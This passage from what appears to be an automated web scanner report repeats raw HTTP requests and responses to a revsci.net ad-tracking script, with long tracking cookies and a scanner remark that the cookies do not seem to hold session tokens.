yoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl0DSCeM1VkQwa9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:08 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649c&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:08 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:07 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/70794208.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LClyHSCCM0VkQwa9Y=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:14 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a2&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:14 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:13 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/715159401.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkfAbX+cer9duzVms+JZMi; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:23 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:23 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/72215668.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV0HTySI1VkQ4a9A=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:59 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6493&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:59 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:59 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/725558049.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; 